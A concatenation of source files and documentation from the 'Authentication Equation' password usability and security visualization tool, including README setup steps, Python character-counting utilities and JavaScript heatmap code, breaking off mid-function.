if (c == '!' || c == '@' || c == '#' || c == '$' || c == '%' || c == '^' || c == '&' || c == '*' || c == '(' || c == ')' || c == '-' || c == '_' || c == '+' || c == '=' || c == '{' || c == '}' || c == '[' || c == ']' || c == '|' || c == '\\' || c == ':' || c == ';' || c == '\'' || c == '"' || c == '<' || c == '>' || c == ',' || c == '.' || c == '/' || c == '?' || c == '`' || c == '~'){
return true;
} else {
return false;
}
};<file_sep>#The Authentication Equation
_A Tool to Visualize the Convergence of Security and Usability of Text-Based Passwords_
===
#Introduction
Text-based passwords have a lot of usability failures:
- passwords add to mental strain [1-4]
- managed by counterintuitive requirements
We focus on password requirements in regard to enterprise systems.
In this context, password requirements enforce the creation of often hard to learn passwords:
0Vi__:c__xsyn03'An
Creating, remembering, and typing these "more secure" passwords according to password requirements such as these could be associated with increased cognitive load. Due the cognitive load that these passwords may elicit, users develop coping strategies to manage these 'unusuable' passwords [1], [5-7]..
Coping strategies include [1], [6-8]:
- using previous password with minor changes
- using existing password
- recycling old password
- using common name
- using storage methods
Furthermore, exmployees may not realize the impact of their attitudes and coping strategies due to a false sense of security in their work accounts [1, 5, 9]. If the locus of control shifts away from employee password management behaviors, employees may lack sufficient self scrutiny on their password management.
How can we reduce the cognitive load that password requirements elicit? First, specific pitfalls of passwords should be explored (such as specific usability failures, etc.). Then, we can identify __which aspects__ of passwords cause usability failures.
To study password metrics quickly and effectively, a visualization tool could be useful in analyzing data sets of passwords. So, we developed a visualization tool with the goal of allowing the exploration of password usability and security metrics.
The goals of the tool were to:
- Support password usability research activities
- integrate various measurements of passwords
- leverage web technology
- flexibly display data
- and enable the exploration of where password security and usability collide
- ( and perhaps enable education through the comparison of passwords in terms of their metrics )
#Methodology
##Identification of password metrics
First, let's begin with the actual security and usability components of these passwords I began with. When I first produced the tool, I focused on metrics initially used in previous NIST work of usability of system-generated passwords and other common measures of security.
I created code with the help of NIST coworkers specializing in cybersecurity and linguistics to automate the calculation of these metrics:
- __linguistic and phonological difficulty score__: Similarity of password to natual language. Generated by five substeps.
- __keystrokes__: Number of keystrokes to enter a password in desktop, android, and ipod devices.
- __entropy__ - It's important to note that entropy is a theoretical measurement, which means its constrained by the fact that it doesn't realisticaly measure the speed with which hackers crack passwords.
- __password permutation__ - Concept created by <NAME> as a way to decrease keystrokes necessary to enter computer generated passwords on mobile devices. The aforementioned metrics are recalculated for permuted passwords, including a custom measure of entropy
##Designing the tool
I had the following goals for the design of the tool:
Scalability: Paradigm that works for 10, 100, and 1,000 passwords
Tiers of granularity: Drawing from Shneiderman's mantra "Overview first, then details on demand". Include a birds eye, neighborhood, and individual look at passwords
Side by side comparison: The differences in the password metrics generated for original passwords and their permuted counterparts
Interactivity: Filter, sort, and hide passwords by their metric values on the fly
###Tool improvements
- More visualization paradigms
+ Added parallel coordinates. Can view more precisely the interactions between datasets
- Compare datasets: Can compare two uploaded datasets side by side.
- GUI improvements
+ upload files
- Restructuring code
+ encapsulation/modularization
+ flexibility
+ reusability
#Walkthrough
#Lessons Learned
- __Understand and communicate the encoding scheme of visualization__: Maintain a clar idea of how data is manipulated and transformed in to a visual display.
+ The color scale for representing data values is contextual to each heatmap visualization, and cannot be compared via screenshot.
+ For this reason, scale has to be calculated for the maximum and minimum values for passwords across all datasets uploaded and used to generate color scale
- __Understand constraints of specialized visualization tools__:
+ The data sets are specific to
#Future work
- Compare the LPD score with usability data
- Expansion of security metrics / accurate description of password strength
- Expand into a generic multivariate data analysis tool
- Client side calculation of password values
<file_sep># Utilities to count number of letters, numbers, and symbols in a string input (password)
# <NAME>
# Python 3.4.0
import re
def countLetters(password):
password = password.strip()
count = 0
regex = "[A-Za-z]"
match = re.findall(regex, password)
if match:
count = len(match)
return count
def countNumbers(password) :
count = 0
regex = "[0-9]"
regex = regex.lower()
match = re.findall(regex, password, re.I)
if match:
count = len(match)
return count
def countSymbols(password) :
count = 0
regex = "[a-zA-Z0-9]"
regex = regex.lower()
match = re.findall(regex, password, re.I)
if match:
count = len(password) - len(match)
return count
<file_sep># The Authentication Equation
_A tool for visualizing the convergence of usability and security in text-based passwords_
_Note: if you are looking for the tool as it appeared in the HCII 2015 proceedings, you will find it here: [..DataVis/tree/HCII-2015](https://github.com/usnistgov/DataVis/tree/HCII-2015)_
__Explore the tool [here](http://usnistgov.github.io/DataVis/)__
## Overview
The USV (Usability and Security Visualizer) is a data visualization tool originally built to explore password usability and security metrics. The visualization tool integrates various measurements of passwords, enabling exploration of the intersection of their usability and security components.
The tool is based on insight from previously gathered data from usability studies conducted at the United States National Institute of Standards and Technology. It also leverages web technologies to flexibly display data sets computed from sets of passwords.
The USV is intented to visualize multivariate data (rows of data with different properties describing qualities of each row in columns).
In a generic sense, the tool provides a mechanism for visualizing the same groups of metrics for rows of data in 2 different states or phases. The rows are organized symmetrically do display the the The example given is password permutation, or rearranging the passwords so that all characters are grouped by each character type (letters, numbers, symbols). Password permutation is intended to optimize the efficiency for password entry on a mobile device.
## How to use the tool
You can either use the tool online [here](http://usnistgov.github.io/DataVis/) or download it for offline use.
In order to use the tool online, you will have to create a dataset file first using the Python files (Step B. below).
### A. What you'll need:
- A .txt file list of the passwords to be visualized. For example (newline separated):
```
{x!_ZZX0
n5Yw;_o@
79IrVyE}
,SJ#c15E
.+1F2Hs/
$oX<D$2R
7:OMx9kL
b>ANoN1i
woP9Uo[=
64#$FOpN
uZ-$q8@)
n]P27{D(
|Vf99LVn
```
- Python 3. Note that the code will not run properly earlier versions (Python 2, etc.).
- If you don't have Python installed, [download it here](https://www.python.org/downloads/).
- Chrome browser (updated).
- [Download Chrome here.](https://www.google.com/chrome/browser/desktop/)
- Code/text editor (Sublime 2 works well and is free).
- [Download Sublime 2 here](http://www.sublimetext.com/2)
### B. Create your dataset
1. Move your list of passwords (.txt file) to `DataVis/dataGen/input/`.
2. Open `DataVis/dataGen/USG.py` in a code/text editor.
3. Scroll to line 63, type in the filename of your list of passwords, and save the file:
```
################ Change input file here #######################
# Open file with passwords stored
i = open('input/example.txt', 'r')
```
4. Open the Command Line (PC) or Terminal (Mac).
5. Navigate (using the `cd` command) to the folder in which `USG.py` is contained (`DataVis/dataGen`).
6. Run `USG.py` using the command `Python3 USG.py`
7. Enter a filename for the new dataset to be created when the program prompts you:
```
Enter the name of the output file:
```
8. The new dataset should now appear in the `DataVis/dataGen/output` folder.
9. Place your data in the `/data` folder for easy access.
### C. Visualize your dataset
1. If you have downloaded the tool, open `index.html` using a server (localhost is a good option) or go to [usnistgov.github.io/DataVis/](http://usnistgov.github.io/DataVis/).
If you don't have a server, you can also run the code without such an environment by following these instructions:
1. Close Chrome if it is open (make sure all background operations of chrome have ceased.
2. Open Chrome from the Command Line/Terminal:
Mac
```
$ open /Applications/Google\ Chrome.app --args -allow-file-access-from-files
```
PC
- cd to where chrome.exe is located before you run this command. The file path is probably similar to `C:\Program Files (x86)\Google\Chrome\Application\`
```
>> chrome.exe --allow-file-access-from-files
```
3. Open `index.html`
## Disclaimer
“The United States Department of Commerce (DOC) GitHub project code is provided on an ‘as is’ basis and the user assumes responsibility for its use. DOC has relinquished control of the information and no longer has responsibility to protect the integrity, confidentiality, or availability of the information. Any claims against the Department of Commerce stemming from the use of its GitHub project will be governed by all applicable Federal law.Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation or favoring by the Department of Commerce. The Department of Commerce seal and logo, or the seal and logo of a DOC bureau, shall not be used in any manner to imply endorsement of any commercial product or activity by DOC or the United States Government.”<file_sep>/*
*/
/**
* The USG namespace.
*/
this.USG = USG || {};
(function(){
/** Metric and visualization constants */
var constants = (function(){
/** Metric definitions */
var metric = (function() {
/** Shorthand for types of domains each metric can have. */
var DOMAIN_TYPES = {
ZERO_MAX: {
min: 0,
max: "max"
},
ZERO_ONE: {
min: 0,
max: 1
},
MIN_MAX: {
min: "min",
max: "max"
}
}
/** Define properties for each metric category, if necessary. */
var CATEGORY_TYPES = {
"password": {
allString: true
}
}
/** Define metric properties. */
var METRIC_TYPES = {
"datasetIndex" : {
label: "Dataset",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {name:"Dataset"},
permuted: false
},
"originalPassword" : {
label: "Original Password",
dataType: "String",
domainType: null,
category: {name:"password"},
permuted: false
},
"permutedPassword" : {
label: "Permuted Password",
dataType: "String",
domainType : null,
category: {name:"password"},
permuted: false
},
"symbolStart" : {
label: "Starts w/ Symbol",
dataType: "int",
domainType : DOMAIN_TYPES.ZERO_ONE,
category: {
name: "lpd",
index: 0
},
permuted: true
},
"chunks" : {
label: "Number of Chunks",
dataType: "int",
domainType : DOMAIN_TYPES.ZERO_MAX,
category: {
name: "lpd",
index: 1
},
permuted: true
},
"characters" : {
label: "Size of Chunks",
dataType: "int",
domainType :{
min: 0,
max: 5
},
category: {
name: "lpd",
index: 2
},
permuted: true
},
"unsentenceLikeCaps" : {
label: "Unsent.-like Capitlztn",
dataType: "int",
domainType : DOMAIN_TYPES.ZERO_MAX,
category: {
name: "lpd",
index: 3
},
permuted: true
},
"mixedCharacterString" : {
label: "Mixed Character String",
dataType: "int",
domainType : DOMAIN_TYPES.ZERO_ONE,
category: {
name: "lpd",
index: 4
},
permuted: true
},
"pronounceable" : {
label: "Pronounceable",
dataType: "int",
domainType : {
min: "min",
max: 0
},
category: {
name: "lpd",
index: 5
},
permuted: true
},
"lpd" : {
label: "Total LPD Score",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "lpd",
index: 6
},
permuted: true
},
"desktopkeystrokes" : {
label: "Desktop Keystrokes",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "keystrokes",
index: 0
},
permuted: true
},
"androidkeystrokes" : {
label: "Android Keystrokes",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "keystrokes",
index: 1
},
permuted: true
},
"ipadkeystrokes" : {
label: "iPad Keystrokes",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "keystrokes",
index: 2
},
permuted: true
},
"entropy" : {
label: "Entropy",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "entropy",
index: 0
},
permuted: true
},
"lostEntropy" : {
label: "Entropy Lost",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
visualizationType : {
grid: false
},
category: {
name: "entropySummary",
index: 1
},
permuted: false
},
"percentEntropyLoss" : {
label: "Percent Entropy Lost",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "entropySummary",
index: 2
},
permuted: false
},
"passwordlength" : {
label: "Password Length",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "passwordStructure"
},
permuted: false
},
"numLetters" : {
label: "Number of Letters",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "passwordStructure"
},
permuted: false
},
"numNumbers" : {
label: "Number of Digits",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "passwordStructure"
},
permuted: false
},
"numSymbols" : {
label: "Number of Symbols",
dataType: "int",
domainType : DOMAIN_TYPES.MIN_MAX,
category: {
name: "passwordStructure"
},
permuted: false
},
};
return {
METRIC_TYPES: METRIC_TYPES,
DOMAIN_TYPES: DOMAIN_TYPES,
CATEGORY_TYPES: CATEGORY_TYPES
}
})();
/** Color constants */
var colors = (function() {
/** Holds color values for different scales */
var colorbrewer = {
Greys: {
2: ["#ffffff","#AA00FF"],
9: ["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"]},
GnYlRd: {
9: ["#081d58","#225ea8", "#41b6c4", "#c7e9b4","#ffffd9", "#ffeda0","#feb24c","#fc4e2a","#bd0026"],
18: ["#081d58", "#253494","#225ea8", "#1d91c0", "#41b6c4", "#7fcdbb", "#c7e9b4","#edf8b1","#ffffd9", "#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"]},
YlGnBu: {
3: ["#edf8b1","#7fcdbb","#2c7fb8"],
9: ["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"]},
PuRd: {
2: ["#f7f4f9","#67001f"],
9: ["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"]},
BlWt: {
9: ["#08306b","#08519c","#2171b5","#4292c6","#6baed6","#9ecae1","#c6dbef","#deebf7","#f7fbff"]},
WtRd: {
2: ["#ffffff", "#ff0000"],
9: ["#fff5f0", "#fee0d2", "#fcbba1", "#fc9272", "#fb6a4a", "#ef3b2c", "#cb181d", "#a50f15", "#67000d"]},
WtBl: {
9: ["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6","#2171b5","#08519c","#08306b"]}
};
return {
colorbrewer: colorbrewer
}
})();
return {
colors: colors,
metric: metric
}
})( );
/** Current environment variable */
this.currentEnvironment;
/** Flag determining whether example data is shown */
this.showExample = false;
/** Controls the visualizations, datasets uploaded, and metric types. */
this.environment = ( function(){
/* Private Methods */
/** Holds datasets and associated visualizations for that dataset. */
this.EnvironmentInstance = function( ){
var thisObj = this;
this.createData = dataset;
this.datasets = []; // Array of dataset objects stored here ( loadData(); )
this.datasetCount = 0;
this.metricSet = metric.createSet( ); // Set of all metrics used in this environment
this.visualizations = []; // Array of visualization objects for this environment ( heatmap, etc. )
gui.initialize( thisObj.loadData , this , "example.csv" ); // Set up gui (Asychronous) then execute callback
};
EnvironmentInstance.prototype = {
alertMessage: function ( msg ) {
$("#USG-information").prepend('<div class="USG-alert alert alert-warning" role="alert"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button><span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span> ' + msg + '</div>');
},
/**
* Adds a visualization to the environment
* @param {string} dataLocation - Key representing where the dataFile is located ( no .csv ) */
addVisualization: function ( dataLocation ){
var thisObj = this;
var visualize = function(){
// If the dataset exists, visualize
if( thisObj.datasets[ dataLocation ] ){
var updateOverview = function () {
visualizationKey = "heatmap-overview";
// Add data to the heatmap overview
if( !thisObj.visualizations[ "heatmap-overview" ] && !thisObj.visualizations[ "parcoords-overview" ] ){
thisObj.visualizations[ "heatmap-overview" ] = visualization.create( dataLocation , visualizationKey , [thisObj.datasets[ dataLocation ]] , "heatmap-overview" , thisObj.metricSet );
gui.addVisualization( "heatmap-overview" );
visualizationKey = "parcoords-overview";
thisObj.visualizations[ "parcoords-overview" ] = visualization.create( dataLocation , visualizationKey , [thisObj.datasets[ dataLocation ]] , "parcoords-overview" , thisObj.metricSet );
gui.addVisualization( "parcoords-overview" );
$.when( thisObj.visualizations[ "parcoords-overview" ].init() , thisObj.visualizations[ "heatmap-overview" ].init() ).done(function () {
gui.showVisualization( dataLocation );
});
} else {
$.when( thisObj.visualizations[ "heatmap-overview" ].addData( dataLocation , "heatmap-overview" , thisObj.datasets[ dataLocation ] ), thisObj.visualizations[ "parcoords-overview" ].addData( dataLocation , "parcoords-overview" , thisObj.datasets[ dataLocation ] ) ).done(function () {
gui.showVisualization( dataLocation );
});
}
};
/**
* Create heatmap in visualizations[] with "heatmap-[dataLocation] as a key"
* @param {string} dataLocation - where data is located
* @param {string} visualizationKey - unique identifier for thisObj visualization
* @param {Dataset} dataset - dataset object corresponding with the dataLocation identifier
* @param {string} config - type of configuration the heatmap is using
* @param {MetricSet} metricSet - metricSet object
*/
var visualizationKey = "heatmap-" + dataLocation;
thisObj.visualizations[visualizationKey] = visualization.create( dataLocation , visualizationKey , [thisObj.datasets[ dataLocation ]] , "heatmap" , thisObj.metricSet );
gui.addVisualization( dataLocation );
visualizationKey = "parcoords-" + dataLocation;
thisObj.visualizations[visualizationKey] = visualization.create( dataLocation , visualizationKey , [thisObj.datasets[ dataLocation ]] , "parcoords" , thisObj.metricSet );
// gui.addVisualization( visualizationKey );
$.when( thisObj.visualizations[ "parcoords-" + dataLocation ].init() , thisObj.visualizations[ "heatmap-" + dataLocation ].init() ).done(function () {
console.log("Create visualization")
updateOverview();
});
} else {
console.log("No data found. Try loading " + dataLocation + " using environment.loadData( \"fileLocation\" )")
}
};
gui.showAllOverviewVisualizations( visualize );
},
/**
* Loads specified .csv file. Creates metric objects used in the visualization
* @param {string} dataLocation - Url of releative location of csv file
* @param {function} callback - Optional.
*/
loadData: function( thisObj , dataLocation, callback ){
var thisObj = thisObj,
url = "/data/" + dataLocation,
index = thisObj.datasetCount;
// Load data using d3.js
d3.csv( url , function parseRows ( d ) {
for ( var prop in d ) { // For each property in a data row ( d )
thisObj.metricSet.addMetric( prop ); // Add metric to the metric set
if( !thisObj.metricSet.isString( prop ) ) { // if datatype is not a string
d[prop] = +d[ prop ]; // All unidentified metrics will be assumed to be Strings
}
}
d.datasetIndex = index;
thisObj.metricSet.addMetric( "datasetIndex" );
return d;
}, function done ( error, data ) {
var rReplace = /\.csv/g;
dataLocation = dataLocation.replace(rReplace, "");
if ( error ){
console.log( error.stack );
thisObj.alertMessage( "Error loading data." );
}
thisObj.processData( thisObj , dataLocation , data , callback );
});
},
/**
* Parses a file into CSV format. Creates metric objects used in the visualization
* @param {string} name - name of csv file
* @param {File} file - File to be parsed into CSV
* @param {function} callback - Optional.
*/
parseData: function( name, file , callback ){
var thisObj = this,
index = thisObj.datasetCount;
if(!thisObj.datasets[ name ]){
data = d3.csv.parse( file ); // Parse data using d3.js
for( var i = 0; i < data.length ; i++ ){ // For each property in a data row ( data )
for ( var prop in data[i] ) {
// Add metric to the metric set
thisObj.metricSet.addMetric( prop );
// if datatype is not a string
// All unidentified metrics will be assumed to be Strings
if( !thisObj.metricSet.isString( prop ) ) {
data[i][prop] = +(data[i][ prop ]);
}
}
data[i].datasetIndex = index;
thisObj.metricSet.addMetric( "datasetIndex" );
}
thisObj.processData( thisObj , name , data , callback );
} else {
console.log("Dataset by that name already exists");
this.alertMessage( "Dataset by that name already exists" );
}
},
/**
* Processes a file into CSV format and loads as a visualization. Creates metric objects used in the visualization
* @param {thisObj} name - name of csv file
* @param {dataLocation} File - File to be parsed into CSV
* @param {Data} Data - Optional.
* @param {function} callback - Optional.
*/
processData: function ( thisObj , dataLocation , data , callback ) {
thisObj.datasetCount++;
// console.log( "Metrics created:");
// console.log( thisObj.metricSet );
// console.log( "Data Loaded:");
// console.log( data );
// Add dataset
thisObj.datasets[ dataLocation ] = thisObj.createData.create( data , dataLocation );
// Initialize metric domains
thisObj.metricSet.setDomains( thisObj.datasets[ dataLocation ], dataLocation );
if( !callback ) {
thisObj.addVisualization( dataLocation );
} else {
callback( dataLocation );
}
},
/** Empty the environment */
clear: function ( ) {
$("#vizualizations-holder").html('');
$("#navbar-displayed-visualization").html('');
this.metricSet = metric.createSet( );
this.visualizations[ "heatmap-overview" ] = null;
this.visualizations[ "parcoords-overview" ] = null;
this.datasetCount = 0;
}
};
/* Public Methods */
/** Create and return environmentInstance */
this.create = function( callback ){
return new EnvironmentInstance( callback );
};
/** Templates and associated operations for dataset objects. */
this.dataset = ( function(){
var DatasetInstance = function ( data , name ) {
this.dataset = data; // Holds data
this.metrics = []; // List of which metrics the data has
this.dataName = name;
for( prop in this.dataset[0]){
this.metrics[prop] = true;
}
};
DatasetInstance.prototype = {
hasMetric: function ( metricName ) {
if(this.metrics[metricName]){
return true;
}
return false;
},
sortData: function ( byMetricType ){
var metricName = byMetricType;
var sortDataset = function ( a , b ) {
if (a[ metricName ] < b[ metricName ])
return -1;
if (a[ metricName ] > b[ metricName ])
return 1;
// a must be equal to b
return 0;
};
this.dataset.sort( sortDataset );
},
getData: function () {
return this.dataset;
},
getName: function ( ) {
return this.dataName;
}
};
var create = function( data , name ){
if( data ){
return new DatasetInstance( data , name );
} else {
console.log("No data found. Cannot create Dataset");
}
};
return {
create: create
};
})();
/** Templates for visualization. */
this.visualization = ( function(){
var thisObj = this;
/** Holds a dataset and associated visualizations for that dataset */
this.VisualizationInstance = function ( dataKey , visualizationKey , datasets , config , metricSet ){
this.key = visualizationKey; // Key for specific heatmap
this.visualizationKey = visualizationKey;
this.mode = config;
this.container = this.key + "-container";
this.dataKey = dataKey; // Key for data heatmap is representing
this.tiers = [];
this.metricSet = metricSet;
this.datasets = datasets;
this.colorscheme = {
normal: constants.colors.colorbrewer.Greys[2],
highlight: constants.colors.colorbrewer.WtRd[2]
}
};
VisualizationInstance.prototype = {
init: function ( ) {
var thisObj = this;
var deferred = $.Deferred();
thisObj.setMetricColorScheme();
thisObj.metricSet.setDefaultVisibility( thisObj.dataKey , thisObj.visualizationKey );
// default config
if( thisObj.mode == "heatmap" ){
console.log("Create heatmap with default config");
// Create new tier1, tier2, tier3
var defTiersCreated = $.Deferred();
thisObj.createTiers(["HeatmapTier2" , "HeatmapTier1" , "Controls"] , thisObj.datasets[0], thisObj.mode);
thisObj.connectTiers([0,1,2]);
thisObj.connectTiers([1,0,2]);
thisObj.connectTiers([2,0,1]);
defTiersCreated.resolve(thisObj.tiers);
// Load html for tiers
defTiersCreated.done(function(tiers){
$.when( tiers[0].loadHTML() , tiers[1].loadHTML() , tiers[2].loadHTML() ).done(function () {
thisObj.addTierHTML( tiers );
thisObj.initializeTiers( deferred);
});
});
} else if ( thisObj.mode == "heatmap-overview" ) {
console.log("Create heatmap with global config");
thisObj.key = "heatmap-overview";
thisObj.container = "heatmap-overview-container";
thisObj.setMetricColorScheme( thisObj.mode );
thisObj.metricSet.setDefaultVisibility( thisObj.dataKey , "global" );
// Create new tier1, tier3
var defTiersCreated = $.Deferred();
thisObj.createTier("Controls" , thisObj.datasets , thisObj.mode);
thisObj.createTier("HeatmapTier1" , thisObj.datasets[0] , thisObj.mode);
thisObj.connectTiers([0,1]);
thisObj.connectTiers([1,0]);
defTiersCreated.resolve(thisObj.tiers);
// Load html for tiers
defTiersCreated.done(function(tiers){
$.when( tiers[0].loadHTML() , tiers[1].loadHTML() ).done(function () {
thisObj.addTierHTML( tiers );
thisObj.initializeTiers( deferred );
});
});
} else if( thisObj.mode == "parcoords" ){
console.log("Create parallel coordinates with default config");
thisObj.setMetricColorScheme( "parcoords" );
thisObj.metricSet.setDefaultVisibility( thisObj.dataKey , thisObj.visualizationKey , "parcoords");
// Create new tier1, tier2, tier3
var defTiersCreated = $.Deferred();
thisObj.createTier("Parcoords" , thisObj.datasets);
thisObj.createTier("Controls" , thisObj.datasets , "parcoords");
thisObj.connectTiers([1,0]);
defTiersCreated.resolve(thisObj.tiers);
// Load html for tiers
defTiersCreated.done(function(tiers){
$.when( tiers[0].loadHTML(), tiers[1].loadHTML() ).done(function () {
thisObj.addTierHTML( tiers );
thisObj.initializeTiers( deferred);
});
});
} else if ( thisObj.mode == "parcoords-overview" ){
console.log("Create parallel coordinates with overview config");
thisObj.setMetricColorScheme( );
thisObj.metricSet.setDefaultVisibility( thisObj.dataKey , "parcoords-overview" );
// Create new tier1, tier2, tier3
var defTiersCreated = $.Deferred();
thisObj.createTier("Parcoords" , thisObj.datasets , thisObj.mode);
thisObj.createTier("Controls" , thisObj.datasets , "parcoords-overview");
thisObj.connectTiers([1,0]);
defTiersCreated.resolve(thisObj.tiers);
// Load html for tiers
defTiersCreated.done(function(tiers){
$.when( tiers[0].loadHTML(), tiers[1].loadHTML() ).done(function () {
thisObj.addTierHTML( tiers );
thisObj.initializeTiers( deferred );
});
});
}
return deferred.promise();
},
addData: function ( dataLocation , visualizationKey , dataset ) {
var thisObj = this,
deferred = $.Deferred();
thisObj.setMetricColorScheme( thisObj.mode );
thisObj.datasets.push( dataset );
var index = thisObj.datasets.length;
if( thisObj.mode == "heatmap-overview" ){
var defTiersCreated = $.Deferred();
thisObj.createTier("HeatmapTier1" , dataset , thisObj.mode);
thisObj.connectTiers([0,index]);
thisObj.connectTiers([index,0]);
defTiersCreated.resolve(thisObj.tiers);
// Load html for tiers
defTiersCreated.done(function(tiers){
$.when( tiers[index].loadHTML() ).done(function () {
thisObj.appendTierHTML( tiers[index] );
tiers[index].initialize();
for(var i = 1; i < tiers.length-1; i++){
tiers[i].visualize();
}
deferred.resolve();
});
});
} else if ( thisObj.key == "parcoords-overview" ) {
console.log()
index--;
for(var i = 0; i < thisObj.tiers.length; i++){
if(thisObj.tiers[i].type == "Parcoords"){
thisObj.tiers[i].addData( dataset , index );
} else if (thisObj.tiers[i].type == "Controls") {
thisObj.tiers[i].refreshControls();
}
}
}
return deferred.promise();
},
// hide: function ( ) {
// var classname = "#" + thisObj.container;
// $( classname ).hide();
// },
// Set the color scheme for the metrics using this heatmap's key
setMetricColorScheme: function ( mode ) {
var visualization;
if( mode == "heatmap-overview" || mode == "parcoords"){
visualization = "global";
} else {
visualization = this.visualizationKey;
}
this.metricSet.setColorScheme( this.dataKey , visualization , this.colorscheme );
},
/** Create and add tiers with the same dataset to this object.
* @param {array} whichTiers - Each index in the array represents a new tier to create. The value of each index represents the type of tier to create. */
createTiers: function ( whichTiers , dataset , mode ) {
var thisObj = this;
for (var i = 0; i < whichTiers.length; i++) {
var index = thisObj.tiers.length; // Represents the unique identifier of the new tier
// Ensure the type is accounted for
if( whichTiers[i] == "HeatmapTier1" || whichTiers[i] == "HeatmapTier2" || whichTiers[i] == "Controls" ){
// Will append html to the heatmap container
// type , dataKey , key , datasets , visualizationKey , metricSet , parentKey
thisObj.tiers.push ( tier.create( whichTiers[i], thisObj.dataKey , index , dataset , thisObj.visualizationKey , thisObj.metricSet , thisObj.key , thisObj.mode ) );
}
}
},
createTier: function ( whichTier , dataset , mode ) {
var thisObj = this,
index = thisObj.tiers.length; // Represents the unique identifier of the new tier
// Ensure the type is accounted for
if( whichTier == "HeatmapTier1" || whichTier == "HeatmapTier2" || whichTier == "Controls" || whichTier == "Parcoords"){
// Will append html to the heatmap container
// type , dataKey , key , datasets , visualizationKey , metricSet , parentKey
thisObj.tiers.push ( tier.create( whichTier , thisObj.dataKey , index , dataset , thisObj.visualizationKey , thisObj.metricSet , thisObj.key , mode ) );
}
},
initializeTiers: function(deferred) {
var thisObj = this;
if ( thisObj.tiers ) {
for (var i = 0; i < thisObj.tiers.length; i++) {
thisObj.tiers[i].initialize();
};
deferred.resolve();
}
},
appendTierHTML: function ( tier ) {
var tierHTML = tier.getHTML(),
classname = "#heatmap-overview";
$( classname ).append( tierHTML );
},
addTierHTML: function( tiers ) {
var thisObj = this,
tierHTML = "";
for(var i = 0; i < tiers.length; i++){
tierHTML += '' + tiers[i].getHTML();
}
var html = ('<div class="col-sm-12 full-height visualization-instance" id="' + thisObj.container + '" ><div class="container-fluid full-height"><div class ="row heatmap" id=' + thisObj.key + '>' + tierHTML + '</div></div></div>');
// Append a container and contents for the heatmap
$( "#vizualizations-holder" ).append( html );
$(function () { // Opt in bootstrap tooltips ( hint callouts )
$('[data-toggle="tooltip"]').tooltip();
});
},
/** Connect tiers to each other.
* @param {Array} whichTiers - Array of the indexes of this.tiers[] to be connected. whichTiers[0] is the tier to be connected to whichTiers[i] */
connectTiers: function ( whichTiers ) {
for(var i = 1; i < whichTiers.length; i++) {
var tier = this.tiers[ whichTiers[i] ];
this.tiers[ whichTiers[0] ].connect( tier );
}
}
};
/** Visualization tiers (modules) */
this.tier = ( function(){
/* Private Methods */
/** Generic version of visualization tier (module). */
this.TierInstance = function( type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode ){
var thisObj = this;
this.key = key;
this.parentKey = parentKey;
this.dataKey = dataKey;
this.dataset = dataset;
this.metricSet = metricSet;
if( mode == "heatmap-overview" ){
this.mode = mode;
this.visualizationKey = "global";
} else if (mode == "parcoords-overview"){
this.mode = mode;
this.visualizationKey = "parcoords-overview";
} else if ( mode == "parcoords") {
this.mode = mode;
this.visualizationKey = visualizationKey;
} else {
this.mode = "default";
this.visualizationKey = visualizationKey;
}
// this.gridmetricSet = metricSet.getOrderedMetrics();
this.orderedMetrics = metricSet.orderCategories( dataKey , this.visualizationKey );
this.orderedMetricsList = metricSet.getOrderedMetrics( dataKey , this.visualizationKey );
this.orderedPairedMetricsList = metricSet.getOrderedPairedMetrics( dataKey , this.visualizationKey );
this.html = {
parentContainer: parentKey,
id: "",
url: "html/" + type + ".html",
markup: {}
};
this.grid = {
size: {
width: 5,
height: 5
}
}
this.margin = {
top: 0
};
this.type = type;
this.connectedTiers = [];
this.hiddenRows = {};
this.totalGutterCount = 0;
};
TierInstance.prototype = {
/** Loads html into this.html. Returns deferred promise object. */
loadHTML: function () {
var deferred = $.Deferred(); // Create deferred object
var thisObj = this;
// Load HTML
var request = $.ajax({
url: this.html.url,
dataType: 'html'
});
// Process loaded HTML
$.when(request).done(function( data ){
var rId = "id=\"" + thisObj.type;
var rId = new RegExp( rId , "g" );
// Add specialized id for this tier
var rReplace = "id=\"" + thisObj.type + "-" + ( thisObj.html.parentContainer ) + "-" + thisObj.key;
data = data.replace( rId , rReplace );
if(thisObj.mode == "parcoords-overview" || thisObj.mode == "parcoords"){
if( thisObj.type == "Controls" ){
rReplace = "class=\"col-sm-2";
rId = "class=\"col-sm-3";
rId = new RegExp( rId , "g" );
data = data.replace( rId , rReplace );
}
}
thisObj.html.markup = data;
thisObj.html.id = thisObj.type + "-" + thisObj.html.parentContainer + "-" + thisObj.key;
deferred.resolve();
});
return deferred.promise();
},
/** Counts the total count of gutters ( spaces between column categories ) */
countGutters: function () {
var gutterFlag = false;
var thisObj = this;
this.gutterCount = 0;
for(var categoryIndex = 0; categoryIndex < thisObj.orderedMetrics.length ; categoryIndex++ ){
var categoryName = thisObj.orderedMetrics[categoryIndex].name;
if(!thisObj.metricSet.categories[categoryName].allString){
